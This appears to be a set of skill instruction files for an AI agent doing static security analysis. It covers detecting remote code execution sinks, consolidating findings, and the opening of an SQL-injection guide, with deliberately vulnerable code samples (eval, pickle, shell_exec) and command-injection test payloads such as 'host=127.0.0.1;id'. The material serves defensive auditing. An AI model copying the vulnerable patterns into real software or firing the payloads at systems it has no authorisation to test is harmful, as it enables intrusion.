### OS Command Injection — PHP
```php
// VULNERABLE: shell_exec with user input
function generateThumbnail($file) {
$size = $_GET['size'];
shell_exec("convert {$file} -resize {$size} thumb.jpg");
}
// VULNERABLE: backtick operator
function checkHost() {
$host = $_POST['host'];
$result = `ping -c 1 $host`;
return $result;
}
// SECURE: escapeshellarg (reduces risk — but prefer removing shell entirely)
function generateThumbnail($file) {
$size = escapeshellarg($_GET['size']);
$file = escapeshellarg($file);
shell_exec("convert $file -resize $size thumb.jpg");
}
```
### OS Command Injection — Ruby
```ruby
# VULNERABLE: string interpolation in system()
get '/convert' do
format = params[:format]
system("ffmpeg -i input.mp4 -f #{format} output")
end
# VULNERABLE: backtick with user input
def check_dns
`nslookup #{params[:host]}`
end
# SECURE: system() with separate args (no shell expansion)
get '/convert' do
format = params[:format]
ALLOWED = %w[mp4 avi mkv]
return 400 unless ALLOWED.include?(format)
system("ffmpeg", "-i", "input.mp4", "-f", format, "output")
end
```
### Code Injection — Python eval/exec
```python
# VULNERABLE: eval with user input
@app.route('/calculate')
def calculate():
expr = request.args.get('expr')
result = eval(expr) # attacker can run __import__('os').system('id')
return str(result)
# VULNERABLE: exec with user code
@app.route('/run')
def run_code():
code = request.json.get('code')
exec(code) # full arbitrary code execution
return "ok"
# SECURE: ast.literal_eval for safe expression parsing (literals only)
from ast import literal_eval
@app.route('/parse')
def parse():
data = request.args.get('data')
result = literal_eval(data) # only parses strings/numbers/lists/dicts/bools
return str(result)
```
### Code Injection — JavaScript eval / Function
```javascript
// VULNERABLE: eval with user input
app.post('/formula', (req, res) => {
const formula = req.body.formula;
const result = eval(formula); // RCE: process.exit(), require('child_process')...
res.json({ result });
});
// VULNERABLE: new Function() constructor
function compute(userExpression) {
const fn = new Function('x', `return ${userExpression}`);
return fn(42);
}
// VULNERABLE: vm.runInNewContext (sandbox escape via __proto__ pollution)
const vm = require('vm');
app.post('/eval', (req, res) => {
const result = vm.runInNewContext(req.body.code);
res.json({ result });
});
// SECURE: use a math expression library (no arbitrary code)
const { evaluate } = require('mathjs');
app.post('/formula', (req, res) => {
const result = evaluate(req.body.formula); // sandboxed math expressions only
res.json({ result });
});
```
### Unsafe Deserialization — Python pickle
```python
# VULNERABLE: deserializing user-supplied pickle data
@app.route('/load', methods=['POST'])
def load_session():
data = request.get_data()
session = pickle.loads(data) # attacker controls __reduce__ → RCE
return jsonify(session)
# VULNERABLE: base64-encoded pickle from cookie
@app.route('/profile')
def profile():
session_cookie = request.cookies.get('session')
data = base64.b64decode(session_cookie)
user = pickle.loads(data) # crafted cookie → arbitrary code at deserialization
return render_template('profile.html', user=user)
# SECURE: use JSON (no code execution semantics)
@app.route('/profile')
def profile():
session_cookie = request.cookies.get('session')
user = json.loads(base64.b64decode(session_cookie))
return render_template('profile.html', user=user)
```
### Unsafe Deserialization — Java
```java
// VULNERABLE: ObjectInputStream.readObject() on user-supplied stream
@PostMapping("/deserialize")
public ResponseEntity<?> deserialize(@RequestBody byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject(); // gadget chains (Commons Collections, Spring, etc.) → RCE
return ResponseEntity.ok(obj);
}
// VULNERABLE: Jackson with enableDefaultTyping
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // attacker specifies arbitrary class type in JSON → RCE
MyData data = mapper.readValue(userJson, MyData.class);
// SECURE: Jackson with concrete type, no enableDefaultTyping
ObjectMapper mapper = new ObjectMapper();
MyData data = mapper.readValue(userJson, MyData.class); // safe with concrete target type
```
### Unsafe Deserialization — PHP
```php
// VULNERABLE: unserialize() with user input
function loadProfile() {
$data = base64_decode($_COOKIE['profile']);
$user = unserialize($data); // PHP object injection → POP chain → RCE
return $user;
}
// VULNERABLE: unserialize from POST body
$obj = unserialize($_POST['data']);
// SECURE: json_decode instead
function loadProfile() {
$data = base64_decode($_COOKIE['profile']);
$user = json_decode($data, true); // no code execution semantics
return $user;
}
```
### Unsafe Deserialization — Ruby Marshal
```ruby
# VULNERABLE: Marshal.load with user-supplied data
post '/restore' do
data = Base64.decode64(params[:state])
object = Marshal.load(data) # arbitrary Ruby object graph → RCE via gadgets
object.process
end
# SECURE: use JSON
post '/restore' do
data = JSON.parse(Base64.decode64(params[:state]))
# work with plain data structures only
end
```
### Unsafe Deserialization — Node.js
```javascript
// VULNERABLE: node-serialize (known RCE via IIFE in serialized string)
const serialize = require('node-serialize');
app.post('/restore', (req, res) => {
const obj = serialize.unserialize(req.body.data); // IIFE payload → RCE
res.json(obj);
});
// VULNERABLE: js-yaml v3 yaml.load (executes JS functions in YAML tags)
const yaml = require('js-yaml');
const data = yaml.load(userInput); // !!js/function payload → RCE
// SECURE: yaml.safeLoad (v3) or FAILSAFE_SCHEMA (v4)
const data = yaml.safeLoad(userInput); // only loads plain data types
```
### Unsafe YAML — Python
```python
# VULNERABLE: yaml.load without Loader
import yaml
data = yaml.load(user_input) # !!python/object/apply: payload → RCE
# SECURE: yaml.safe_load
data = yaml.safe_load(user_input) # only loads basic data types
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Dangerous Execution Sinks
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where OS commands are executed, code is dynamically evaluated, or data is deserialized using an unsafe deserializer. Flag ANY dynamic variable passed to these sinks, regardless of where it originates. Write results to `sast/rce-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, language, frameworks, and any serialization patterns in use.
>
> ---
>
> **Category 1 — OS Command Execution Sinks**
>
> Look for functions that execute OS commands where the command string or arguments may be dynamically constructed. Flag when any non-constant variable appears in a dangerous position:
>
> **Python:**
> - `os.system(var)` — always flag if any variable
> - `os.popen(var)` — always flag if any variable
> - `subprocess.run(var, shell=True)`, `subprocess.call(var, shell=True)`, `subprocess.Popen(var, shell=True)`, `subprocess.check_output(var, shell=True)` — flag if `shell=True` AND a variable appears in the command string, OR if the command is a string (not a list) with any variable
> - `subprocess.run(f"cmd {var}")` without `shell=True` — flag: passing a string (not list) to subprocess can still be unsafe
> - `commands.getoutput(var)`, `commands.getstatusoutput(var)` — always flag
>
> **Node.js / JavaScript:**
> - `child_process.exec(var)`, `child_process.execSync(var)` — flag if any variable in command string
> - `child_process.execFile(var, ...)` — flag if command or args contain variables
> - `child_process.spawn(var, ...)` or `spawn(cmd, args)` with `shell: true` and variable in command — flag
> - `shelljs.exec(var)`, `execa(var)` — flag if variable in command
>
> **PHP:**
> - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string
> - Backtick operator: `` `...{$var}...` `` or `` `$var` `` — always flag
>
> **Ruby:**
> - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable
> - Backtick operator: `` `...#{var}...` `` — always flag
> - `%x{...#{var}...}` — always flag
>
> **Java:**
> - `Runtime.getRuntime().exec(var)` — flag if string argument contains variable concatenation
> - `new ProcessBuilder(var)` or `ProcessBuilder` constructed from variable-containing list — flag
>
> **Go:**
> - `exec.Command(var, ...)` — flag if command name or arguments are dynamically built from variables (especially from string splits of external input)
>
> **C# / .NET:**
> - `Process.Start(var)` — flag if FileName or Arguments are variable
> - `ProcessStartInfo { FileName = var, Arguments = var }` — flag
>
> ---
>
> **Category 2 — Code Evaluation Sinks**
>
> Look for functions that interpret strings as executable code:
>
> **Python:**
> - `eval(var)` — flag if argument is a variable
> - `exec(var)` — flag if argument is a variable
> - `compile(var, ...)` followed by `exec()` — flag
> - `importlib.import_module(var)`, `__import__(var)` — flag if module name is a variable
>
> **JavaScript / Node.js:**
> - `eval(var)` — flag if argument is a variable
> - `new Function(var)`, `new Function('x', var)` — flag if body is a variable
> - `setTimeout(var, delay)`, `setInterval(var, delay)` — flag if first arg is a string variable
> - `vm.runInNewContext(var)`, `vm.runInContext(var)`, `vm.runInThisContext(var)` — flag if variable
> - `require(var)` — flag if module path is a variable (dynamic require with external input → path traversal + potential code execution)
>
> **PHP:**
> - `eval(var)` — always flag if variable in argument
> - `preg_replace(pattern, replacement, subject)` with `/e` modifier in pattern — always flag
> - `assert(var)` with string argument — flag if variable
> - `create_function('', var)` — flag if body is variable
> - `call_user_func(var)`, `call_user_func_array(var, ...)` — flag if function name is a variable
>
> **Ruby:**
> - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable
> - `binding.eval(var)` — flag if variable
>
> ---
>
> **Category 3 — Unsafe Deserialization Sinks**
>
> Look for deserialization of data that may originate externally. For deserialization sinks, flag every usage — the question of whether data is user-controlled is Phase 2's job:
>
> **Python:**
> - `pickle.loads(var)`, `pickle.load(file_var)` — flag always (pickle is inherently unsafe with untrusted data)
> - `marshal.loads(var)`, `marshal.load(file_var)` — flag always
> - `yaml.load(var)` without explicit `Loader=yaml.SafeLoader` — flag (any form without a safe loader)
> - `jsonpickle.decode(var)` — flag always
> - `shelve` accessed with externally-influenced keys
>
> **Java:**
> - `ObjectInputStream.readObject()`, `ObjectInputStream.readUnshared()` — flag always
> - `XMLDecoder.readObject()` — flag always
> - `XStream.fromXML(var)` — flag always (unless XStream security filters are explicitly configured)
> - `ObjectMapper` with `.enableDefaultTyping()` or `.activateDefaultTyping(...)` configured on it — flag the readValue call
> - `Kryo.readObject(var, ...)`, `Kryo.readClassAndObject(var)` — flag if input stream comes from external source
>
> **PHP:**
> - `unserialize(var)` — flag always when argument is a variable
>
> **Ruby:**
> - `Marshal.load(var)`, `Marshal.restore(var)` — flag always
> - `YAML.load(var)` (Psych) without `permitted_classes: []` — flag
>
> **Node.js:**
> - `require('node-serialize').unserialize(var)` — flag always
> - `yaml.load(var)` (js-yaml v3 default unsafe load) — flag
>
> **.NET:**
> - `BinaryFormatter.Deserialize(var)` — flag always
> - `SoapFormatter.Deserialize(var)` — flag always
> - `NetDataContractSerializer.ReadObject(var)` — flag
> - `JavaScriptSerializer.Deserialize(var)` — flag if argument is variable
> - `LosFormatter.Deserialize(var)` — flag always
>
> ---
>
> **What to skip** (these are safe and should not be flagged):
> - `subprocess.run(["cmd", arg1, arg2])` with a list and no `shell=True` — no shell expansion
> - `json.loads(var)`, `JSON.parse(var)`, `json_decode(var)` — safe format with no code execution
> - `yaml.safe_load(var)` or `yaml.load(var, Loader=yaml.SafeLoader)` — safe loader
> - `ast.literal_eval(var)` — only parses Python literals, not arbitrary code
>
> ---
>
> **Output format** — write to `sast/rce-recon.md`:
>
> ```markdown
> # RCE Recon: [Project Name]
>
> ## Summary
> Found [N] potential RCE sinks: [X] OS command, [Y] code injection, [Z] unsafe deserialization.
>
> ## Sinks Found
>
> ### 1. [Descriptive name — e.g., "shell=True subprocess in image converter"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Category**: [OS Command Injection / Code Injection / Unsafe Deserialization]
> - **Sink**: [the dangerous function call — e.g., subprocess.run(..., shell=True)]
> - **Dynamic argument(s)**: `var_name` — [brief note on what it appears to represent]
> - **Code snippet**:
> ```
> [the relevant code around the sink]
> ```
>
> [Repeat for each sink]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/rce-recon.md`. If the recon found **zero sinks** (the summary reports "Found 0" or the "Sinks Found" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/rce-results.md` and stop:
```markdown
# RCE Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one potential sink.
### Phase 2: Trace User Input to Sinks
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each RCE sink in `sast/rce-recon.md`, determine whether a user-supplied value reaches the dangerous argument. Write final results to `sast/rce-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each sink, trace the dynamic argument(s) backwards to their origin**:
>
> 1. **Direct user input** — the variable is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
> - File upload content: `request.files['file'].read()`, `req.file.buffer`
> - WebSocket messages, queue/event payloads
>
> 2. **Indirect user input** — the variable is derived from user input through transformations, function calls, or intermediate assignments. Trace the full chain:
> - Variable assigned from a function return value → check that function's parameter origin
> - Variable passed as a function argument → check the call site(s)
> - Variable conditionally assigned — check all branches
>
> 3. **Externally-influenced deserialization data** — for deserialization sinks: Is the raw bytes/string coming from a network socket, HTTP request body, cookie, file upload, or a database value that was originally user-supplied? Any externally-controllable byte stream fed to an unsafe deserializer is exploitable.
>
> 4. **Server-side / hardcoded value** — the variable comes from config, an environment variable, a hardcoded constant, or server-side logic with no external influence — NOT exploitable.
>
> **Mitigations to check for each sink**:
> - **Allowlist validation**: Is the variable validated against a fixed set of known-safe values before use? If strict and complete, mark as Not Vulnerable.
> - **Integer/type cast**: Does casting to `int`/`float` actually prevent injection in this context? Effective only for purely numeric arguments with no quoting issues.
> - **escapeshellarg / escapeshellcmd** (PHP): Reduces risk but is not elimination — flag as Likely Vulnerable; shell escaping has bypass history in certain contexts.
> - **Subprocess list form**: `subprocess.run(["cmd", var])` without `shell=True` — arguments are passed directly to the OS, no shell expansion. This IS an effective mitigation for command injection (mark as Not Vulnerable for injection; the value is still passed to the command, but cannot inject new commands).
> - **Safe deserializer in place**: If `json.loads()`, `yaml.safe_load()`, etc. are used instead — skip (Phase 1 should not have flagged these).
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the dangerous sink with no effective mitigation.
> - **Likely Vulnerable**: User input probably reaches the sink (indirect flow) or only weak mitigation is present (shell escaping, partial validation, unclear allowlist).
> - **Not Vulnerable**: The argument is server-side only, OR effective mitigation is in place (subprocess list form, strict allowlist, safe deserializer format).
> - **Needs Manual Review**: Cannot determine the argument's origin with confidence (passes through opaque helpers, complex conditional flows, or external libraries).
>
> **Output format** — write to `sast/rce-results.md`:
>
> ```markdown
> # RCE Analysis Results: [Project Name]
>
> ## Executive Summary
> - Sinks analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Category**: [OS Command Injection / Code Injection / Unsafe Deserialization]
> - **Issue**: [e.g., "HTTP query param `host` flows directly into shell=True subprocess call"]
> - **Taint trace**: [Step-by-step from entry point to the sink — e.g., "request.args.get('host') → host → subprocess.run(f'ping -c 1 {host}', shell=True)"]
> - **Impact**: [What an attacker can do — execute arbitrary OS commands, read /etc/passwd, establish reverse shell, achieve full server compromise, etc.]
> - **Remediation**: [Specific fix — use list-form subprocess, replace eval with safe alternative, switch to json.loads/yaml.safe_load, etc.]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm the finding.
> Show the exact parameter, payload, and what to look for in the response.
> Examples:
> curl "https://app.example.com/ping?host=127.0.0.1;id"
> curl "https://app.example.com/ping?host=127.0.0.1%3Bid"
> For deserialization: show how to craft a malicious payload with ysoserial or pickletools]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Category**: [OS Command Injection / Code Injection / Unsafe Deserialization]
> - **Issue**: [e.g., "Variable likely sourced from user input via helper function" or "escapeshellarg applied but bypassable in some contexts"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk despite uncertainty]
> - **Remediation**: [Fix]
> - **Dynamic Test**:
> ```
> [payload to attempt]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Argument is hardcoded constant" or "subprocess called with list form, no shell=True — shell injection impossible" or "strict allowlist gates the value before use"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the variable's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `build_command()` in utils.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any sink where a non-constant variable appears in a dangerous position, regardless of where that variable comes from. Do not trace user input in Phase 1.
- **Phase 2 is purely taint analysis**: for each sink found in Phase 1, trace the dynamic argument back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- **For deserialization sinks**: any externally-controllable byte stream is dangerous — HTTP bodies, cookies, file uploads, WebSocket frames, queue messages. Be conservative and flag all deserialization sinks where data flow from an external source cannot be ruled out.
- **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is possible (string command + `shell=True`, or `exec()`/`system()` equivalents).
- **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Taint can flow indirectly through middleware, helper functions, class attributes, and intermediate variables. Trace the full chain.
- Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).
- For Java deserialization: the presence of dangerous gadget libraries in the classpath (Apache Commons Collections, Spring Framework, etc.) determines exploitability. Flag the deserialization call; note any relevant libraries from `architecture.md`.
@@ -0,0 +1,210 @@
---
name: sast-report
description: >-
Consolidate all SAST vulnerability results from the sast/ folder into a single
final report ranked by severity and confidentiality impact. Reads all
*-results.md files and produces sast/final-report.md. Run after all
vulnerability detection skills complete. Use when asked to generate a final
report, consolidate findings, or summarize security results.
---
# Final Security Report Generation
You are consolidating all completed SAST vulnerability scan results into a single prioritized security report.
**Prerequisites**: At least one `sast/*-results.md` file must exist. Run the vulnerability detection skills first if they don't.
---
## What to Include
Only include findings with these classifications from each result file:
- `[VULNERABLE]`
- `[LIKELY VULNERABLE]`
Exclude `[NOT VULNERABLE]` and `[NEEDS MANUAL REVIEW]` findings from the main report body (count them only in the summary).
---
## Severity Ranking
Assign each finding a severity tier — **Critical**, **High**, **Medium**, or **Low** — using the table below as your baseline. Adjust up or down based on context (e.g., an IDOR that exposes financial records is High, not Medium).
| Vulnerability Class | Default Severity |
|---------------------|------------------|
| RCE via command injection, eval, or unsafe deserialization | Critical |
| SSTI (Server-Side Template Injection) | Critical |
| SQLi on authentication endpoints | Critical |
| JWT algorithm confusion (alg:none, RS256→HS256) | Critical |
| File upload leading to code execution (webshell) | Critical |
| SQLi with full data extraction capability | High–Critical |
| GraphQL injection (user-controlled operation document enabling unauthorized fields or gateway abuse) | High–Critical |
| XXE with file read or internal SSRF | High–Critical |
| Missing authentication on sensitive endpoints | High–Critical |
| SSRF reaching internal services or cloud metadata | High |
| Path traversal reading sensitive or config files | High |
| File upload with stored content accessible to others | High |
| IDOR on PII, financial, or health data | High |
| XSS (stored/persistent) | High |
| JWT with missing or bypassable claim validation | Medium–High |
| Missing authentication on lower-sensitivity endpoints | Medium |
| IDOR on non-sensitive data | Medium |
| XSS (reflected or DOM) | Medium |
| Business logic flaws (price manipulation, workflow bypass) | Medium |
| Information disclosure of non-sensitive data | Low |
**Confidentiality as a tiebreaker**: When two findings share the same baseline severity, rank higher the one with greater confidentiality impact — i.e., the greater its potential to expose sensitive user data, credentials, or system internals.
---
## Execution
Perform all steps in-session (no subagents needed).
### Step 1: Discover result files
Check which of these files exist in `sast/`:
- `idor-results.md`
- `sqli-results.md`
- `ssrf-results.md`
- `xss-results.md`
- `rce-results.md`
- `xxe-results.md`
- `fileupload-results.md`
- `pathtraversal-results.md`
- `ssti-results.md`
- `jwt-results.md`
- `missingauth-results.md`
- `businesslogic-results.md`
- `graphql-results.md`
Also read `sast/architecture.md` if it exists (use it for the project name and context when writing severity rationale).
### Step 2: Read and extract findings
Read each existing result file. For every finding classified as `[VULNERABLE]` or `[LIKELY VULNERABLE]`, extract:
- Finding title
- Vulnerability type (derived from the source file)
- File / endpoint affected
- Issue description
- Impact description
- Proof / code path
- Remediation
- Dynamic test steps (if present)
### Step 3: Score and sort
Assign each finding a severity level (Critical / High / Medium / Low) using the table above. Sort all findings:
1. Critical first, then High, Medium, Low
2. Within each tier, sort by confidentiality impact (highest first)
### Step 4: Write `sast/final-report.md`
Use exactly this output format:
---
```markdown
# Security Assessment Final Report
**Project**: [name from architecture.md, or infer from codebase]
**Generated**: [current date]
**Scans completed**: [comma-separated list of scan types that had result files]
---
## Executive Summary
| Severity | Count |
|----------|-------|
| Critical | N |
| High | N |
| Medium | N |
| Low | N |
| **Total confirmed findings** | **N** |
Scans with no confirmed vulnerabilities: [list]
Findings requiring manual review: N (see individual result files for details)
---
## Vulnerability Index
| # | Title | Type | Severity | Endpoint / File |
|---|-------|------|----------|----------------|
| 1 | ... | RCE | Critical | `POST /api/exec` |
| 2 | ... | SQLi | High | `GET /api/users` |
---
## Findings
### Critical
#### [Finding Title] — [Vuln Type]
- **Source scan**: `sast/[type]-results.md`
- **Classification**: Vulnerable *(or "Likely Vulnerable")*
- **Endpoint / File**: ...
- **Severity rationale**: [1–2 sentences explaining why this is Critical, with focus on confidentiality and integrity impact]
- **Issue**: ...
- **Impact**: ...
- **Proof**:
```
[code path or evidence from original finding]
```
- **Remediation**: ...
- **Dynamic Test**:
```
[curl command or step-by-step test instructions from original finding]
```
---
### High
[Same structure as Critical section]
---
### Medium
[Same structure]
---
### Low
[Same structure]
---
## Appendix: Scan Coverage
| Scan | Result File | Status |
|------|-------------|--------|
| IDOR | `sast/idor-results.md` | Completed / Not run |
| SQLi | `sast/sqli-results.md` | Completed / Not run |
| SSRF | `sast/ssrf-results.md` | Completed / Not run |
| XSS | `sast/xss-results.md` | Completed / Not run |
| RCE | `sast/rce-results.md` | Completed / Not run |
| XXE | `sast/xxe-results.md` | Completed / Not run |
| File Upload | `sast/fileupload-results.md` | Completed / Not run |
| Path Traversal | `sast/pathtraversal-results.md` | Completed / Not run |
| SSTI | `sast/ssti-results.md` | Completed / Not run |
| JWT | `sast/jwt-results.md` | Completed / Not run |
| Missing Auth | `sast/missingauth-results.md` | Completed / Not run |
| Business Logic | `sast/businesslogic-results.md` | Completed / Not run |
| GraphQL injection | `sast/graphql-results.md` | Completed / Not run |
```
---
## Important Reminders
- Include ONLY `[VULNERABLE]` and `[LIKELY VULNERABLE]` findings in the Findings section.
- Mark `[LIKELY VULNERABLE]` findings clearly: append **⚠ Likely Vulnerable** after the finding title.
- Preserve all details from the original findings — do not summarize or truncate Proof, Remediation, or Dynamic Test sections.
- If `sast/architecture.md` exists, use it to enrich the severity rationale with application-specific context (e.g., "this endpoint handles payment data, making confidentiality impact Critical").
- Omit severity sections entirely (e.g., the `### Low` heading) if no findings fall in that tier.
@@ -0,0 +1,485 @@
---
name: sast-sqli
description: >-
Detect SQL injection vulnerabilities in a codebase using a two-phase approach:
first find unsafe SQL construction sites (string concat, f-strings, unsafe ORM
methods), then trace whether user-supplied input reaches those sites. Requires
sast/architecture.md (run sast-analysis first). Outputs findings to
sast/sqli-results.md. Use when asked to find SQLi or database injection bugs.
---
# SQL Injection (SQLi) Detection
You are performing a focused security assessment to find SQL injection vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **construction** (find all places where SQL queries are built unsafely) then **taint** (confirm whether user-supplied input reaches those construction sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SQL Injection
SQL injection occurs when user-supplied input is incorporated into SQL queries through string concatenation or interpolation rather than parameterized binding. This allows attackers to alter query logic, bypass authentication, extract sensitive data, modify or delete records, and in some configurations execute OS commands.
The core pattern: *unvalidated, unparameterized user input reaches a SQL query execution call.*
### What SQLi IS
- Concatenating user input directly into a SQL string: `"SELECT * FROM users WHERE name = '" + username + "'"`
- Using string formatting to build queries: `f"SELECT * FROM orders WHERE id = {order_id}"`
- Dynamic `ORDER BY` / `GROUP BY` / table/column names from user input with no allowlist validation
- ORM raw query methods with unsanitized input: `User.objects.raw(f"SELECT * WHERE id={id}")`, `$queryRawUnsafe(input)`
- Second-order injection: input is stored in the DB and later used in a raw query without re-sanitization
### What SQLi is NOT
Do not flag these as SQLi:
- **IDOR**: Changing `?id=1` to `?id=2` to access another user's data — that's Insecure Direct Object Reference, a separate class
- **Mass assignment**: Setting extra ORM model fields from user input — different vulnerability
- **XSS via database**: Storing a `<script>` tag in the DB that's later rendered unescaped — that's XSS, not SQLi
- **NoSQL injection**: Injecting into MongoDB operators — similar concept but a distinct vulnerability class
- **Safe ORM queries**: Parameterized ORM lookups like `User.objects.filter(id=user_id)` or `User.find(params[:id])` — do not flag these
### Patterns That Prevent SQLi
When you see these patterns, the code is likely **not vulnerable**:
**1. Parameterized queries / prepared statements (most common fix)**
```
# Python — cursor.execute with tuple binding
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Node.js — mysql2 / pg placeholder binding
db.query("SELECT * FROM users WHERE id = ?", [userId])
pool.query("SELECT * FROM users WHERE id = $1", [userId])
# Java — PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, userId);
# Go — database/sql placeholder
db.QueryRow("SELECT * FROM users WHERE id = $1", userID)
# PHP — PDO with named params
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);
# C# — SqlCommand with parameters
cmd.CommandText = "SELECT * FROM users WHERE id = @id";
cmd.Parameters.AddWithValue("@id", userId);
```
**2. ORM query builder (safe by default)**
```
# Django ORM
User.objects.filter(id=user_id)
# ActiveRecord (Rails)
User.find(params[:id])
User.where(name: params[:name])
# Prisma (tagged template literal form of $queryRaw)
await prisma.$queryRaw`SELECT * FROM users WHERE id = ${userId}`
# Laravel Eloquent (non-raw)
User::find($id)
```
**3. Allowlist validation for dynamic identifiers**
```
# Dynamic ORDER BY — validate column name against a hardcoded set before interpolating
ALLOWED_COLUMNS = {'name', 'created_at', 'price'}
if sort_col not in ALLOWED_COLUMNS:
raise ValueError("Invalid column")
query = f"SELECT * FROM products ORDER BY {sort_col}" # safe only after allowlist check
```
---
## Vulnerable vs. Secure Examples
### Python — Django (raw SQL)
```python
# VULNERABLE: f-string interpolation in raw()
def search_users(request):
username = request.GET.get('username')
users = User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'")
return JsonResponse(list(users.values()), safe=False)
# SECURE: parameterized raw()
def search_users(request):
username = request.GET.get('username')
users = User.objects.raw("SELECT * FROM auth_user WHERE username = %s", [username])
return JsonResponse(list(users.values()), safe=False)
```
### Python — Flask / SQLAlchemy
```python
# VULNERABLE: f-string into text()
@app.route('/search')
def search():
name = request.args.get('name')
result = db.session.execute(text(f"SELECT * FROM products WHERE name = '{name}'"))
return jsonify(result.fetchall())
# SECURE: named bound parameter
@app.route('/search')
def search():
name = request.args.get('name')
result = db.session.execute(
text("SELECT * FROM products WHERE name = :name"), {"name": name}
)
return jsonify(result.fetchall())
```
### Python — sqlite3 / psycopg2
```python
# VULNERABLE
def get_user(username):
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
return cursor.fetchone()
# SECURE
def get_user(username):
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
return cursor.fetchone()
```
### Node.js — mysql2
```javascript
// VULNERABLE: template literal in query string
app.get('/user', async (req, res) => {
const { id } = req.query;
const [rows] = await db.query(`SELECT * FROM users WHERE id = ${id}`);
res.json(rows);
});
// SECURE: placeholder binding
app.get('/user', async (req, res) => {
const { id } = req.query;
const [rows] = await db.query('SELECT * FROM users WHERE id = ?', [id]);
res.json(rows);
});
```
### Node.js — pg (PostgreSQL)
```javascript
// VULNERABLE
app.get('/orders', async (req, res) => {
const status = req.query.status;
const result = await pool.query(`SELECT * FROM orders WHERE status = '${status}'`);
res.json(result.rows);
});
// SECURE
app.get('/orders', async (req, res) => {
const status = req.query.status;
const result = await pool.query('SELECT * FROM orders WHERE status = $1', [status]);
res.json(result.rows);
});
```
### Ruby on Rails
```ruby
# VULNERABLE: string interpolation in where()
def search
@users = User.where("name = '#{params[:name]}'")
end
# VULNERABLE: find_by_sql with interpolation
def find_user
@user = User.find_by_sql("SELECT * FROM users WHERE email = '#{params[:email]}'")
end
# SECURE: parameterized where()
def search
@users = User.where("name = ?", params[:name])
# or using hash form: User.where(name: params[:name])
end
```
### Java — Spring JDBC
```java
// VULNERABLE: string concatenation
public User findUser(String username) {
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
return jdbcTemplate.queryForObject(sql, userRowMapper);
}
// SECURE: parameterized query
public User findUser(String username) {
return jdbcTemplate.queryForObject(
"SELECT * FROM users WHERE username = ?", userRowMapper, username
);
}
```
### Go — database/sql
```go
// VULNERABLE: fmt.Sprintf to build query
func GetUserByName(name string) (*User, error) {
query := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)
row := db.QueryRow(query)
// ...
}
// SECURE: parameterized query
func GetUserByName(name string) (*User, error) {
row := db.QueryRow("SELECT * FROM users WHERE name = $1", name)
// ...
}
```
### PHP — PDO
```php
